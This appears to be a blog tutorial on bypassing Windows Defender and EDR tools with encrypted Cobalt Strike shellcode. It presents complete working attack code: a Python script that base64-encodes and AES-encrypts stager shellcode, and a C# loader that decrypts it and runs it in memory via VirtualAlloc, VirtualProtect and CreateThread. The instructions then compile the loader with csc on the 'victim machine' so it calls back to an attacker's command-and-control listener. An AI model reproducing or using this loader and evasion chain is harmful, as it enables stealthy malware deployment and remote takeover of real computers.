Welcome to Neehack Blogs

Bypass Windows Defender/AWL


Test Date: 2024/Jan/22

This documentation uses the AES encryption technique to evade EDR (Endpoint Detection and Response) tools which includes the following steps.

  1. Create a reverse_http listener
  2. Obtain a shellcode that spawns a shell
  3. Encrypt your shellcode
  4. Write a CSharp script that decrypt and executes the shellcode
  5. Compile the shellcode using Microsoft.Net CSC compiler in the victim machine.
  6. Execute the payload

Create a reverse_http listener

To create a reverse_http listener, go to Cobalt Strike>Cobalt Strike Menu>Listeners.

In the Listeners window, click Add, provide Name, HTTP Hosts and HTTP Host (Stager) IP.

Click on Save. Step one completed.

Obtain a shellcode that spawns a shell

To obtain a cobalt strike shellcode, go to cobalt strike>Payloads Menu>Stager Payload Generator

Stager payload generator – cobalt strike

Choose reverse_tcp listener created on step 1, output type as C#, uncheck the “Use x64 payload”, click on generate and save it somewhere locally.

payload generator – cobalt strike

One of the easiest ways to copy contents between VMs is to enable copy/paste and use “xclip -selection c”.

cat payload_x86.cs | xclip -selection c

Encrypt your shellcode

Before encrypting your shellcode, you need to convert your shellcode to a string, then encode it with base64 and finally encrypt it with AES. The python script below can do this automatically.

encoder.py

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
from os import urandom
import sys
import random
import string

from cryptography.hazmat.primitives.padding import PKCS7
from cryptography.hazmat.backends import default_backend
import base64

def encrypt(plaintext, key):
    cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend())
    encryptor = cipher.encryptor()
    padder = PKCS7(algorithms.AES.block_size).padder()
    padded_data = padder.update(plaintext) + padder.finalize()
    ciphertext = encryptor.update(padded_data) + encryptor.finalize()
    encodedciphertext = base64.b64encode(ciphertext)
    return encodedciphertext

# Example usage
if(len(sys.argv) != 3):
    print("[-] Usage: python3 encoder.py shellcode.cs 16_character_password")
    sys.exit(1)
shellcode = open(sys.argv[1], "r").readlines()

start = shellcode[1].index("{")
end = shellcode[1].index("}")
finalShellcode = shellcode[1][start+1:end].replace(" ", "")
print("[+] Encoding shellcode to base64")
b64ed = b64encode(finalShellcode.encode('utf-8')).decode('utf-8')
secret_key = sys.argv[2]

print("[+] Encrypting shellcode using AES")
result = encrypt(b64ed.encode('utf-8'), secret_key.encode('utf-8')).decode('utf-8')
#result = b64encode(encrypted_text).decode('utf-8')

with open("output.enc", "w") as output:
    output.write(result)

print("[+] Encrypted Shellcode written on output.enc")
encoder.py

The encrypted shellcode is also written to output.log file in the current working directory.

Write a CSharp script that decrypt and executes the shellcode

You now need to revert the encoding and encryption above and execute the shellcode. The csharp exploit below can achieve this:

evadeav.cs:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.IO;

using System.Collections.Generic;


class Program
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern int WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
	
    static string DecryptAES(string ciphertext, string key)
    {
        // Decode the Base64-encoded string
        byte[] encryptedBytes = Convert.FromBase64String(ciphertext);

        // Convert the key to bytes
        byte[] keyBytes = Encoding.UTF8.GetBytes(key);

        // Create an AES cipher object with ECB mode
        using (Aes aesAlg = Aes.Create())
        {
            aesAlg.Key = keyBytes;
            aesAlg.Mode = CipherMode.ECB;
            aesAlg.Padding = PaddingMode.PKCS7; // Use PKCS7 padding

            // Create a decryptor to perform the stream transform
            ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

            // Decrypt the ciphertext
            byte[] decryptedBytes = decryptor.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);

            // Convert the decrypted bytes to a string
            string plaintext = Encoding.UTF8.GetString(decryptedBytes);

            return plaintext;
        }
    }

    static void Main()
    {
		string encryptedData = "Your Base 64 AES encrypted data";	
		string secretKey = "You AES KEY"; // Replace with the actual secret key
		
		Console.Write("[+] Decrypting base64 shellcode using AES\n");
		string decryptedText = DecryptAES(encryptedData, secretKey);
		
		
		Console.Write("[+] Decoding Shellcode using base64\n");
		byte[] decodedBytes = Convert.FromBase64String(decryptedText);
		string bufAsSTR = System.Text.Encoding.UTF8.GetString(decodedBytes);
		

		Console.Write("[+] Converting shellcode from string to bytes\n");
		string[] hexValues = bufAsSTR.Split(',');
		List<byte> byteList = new List<byte>();
        foreach (string hex in hexValues)
        {
            byteList.Add(Convert.ToByte(hex, 16));
        }
		byte[] buf = byteList.ToArray();
		
		for (int i = 0; i < hexValues.Length; i++){
			buf[i] = Convert.ToByte(hexValues[i].Trim(), 16);
		}
		//IntPtr codeAddr = Marshal.AllocHGlobal(buf.Length);
		IntPtr codeAddr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x3000, 0x40);
		
		Marshal.Copy(buf, 0, codeAddr, buf.Length);

		uint oldProtect;
		VirtualProtect(codeAddr, (uint)buf.Length, 0x20, out oldProtect);
		uint unusedThreadId;
		
		Console.Write("[+] Executing Shellcode\n");
		IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, codeAddr, IntPtr.Zero, 0, out unusedThreadId);
		WaitForSingleObject(threadHandle, 0xFFFFFFFF);
		
		//Marshal.FreeHGlobal(codeAddr);
		VirtualFree(codeAddr, 0, 0x8000);
    }
}
https://github.com/Neehackinc/neehack/blob/main/encrypt_shellcode.cs

You would need to replace encryptedData with the base64 encrypted value from output.enc and replace secretKey value with the AES key used while encryption.

Compile the shellcode using Microsoft.Net CSC compiler in the victim machine

To compile the exploit containing your shellcode above, you can use Microsoft .NET compiler/CSC as below:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /platform:x86 -out:"cleanfile.exe" evadeav.cs

Execute the payload

Finally execute the payload.

Cobalt Strike beacon

Leave a Reply

Your email address will not be published.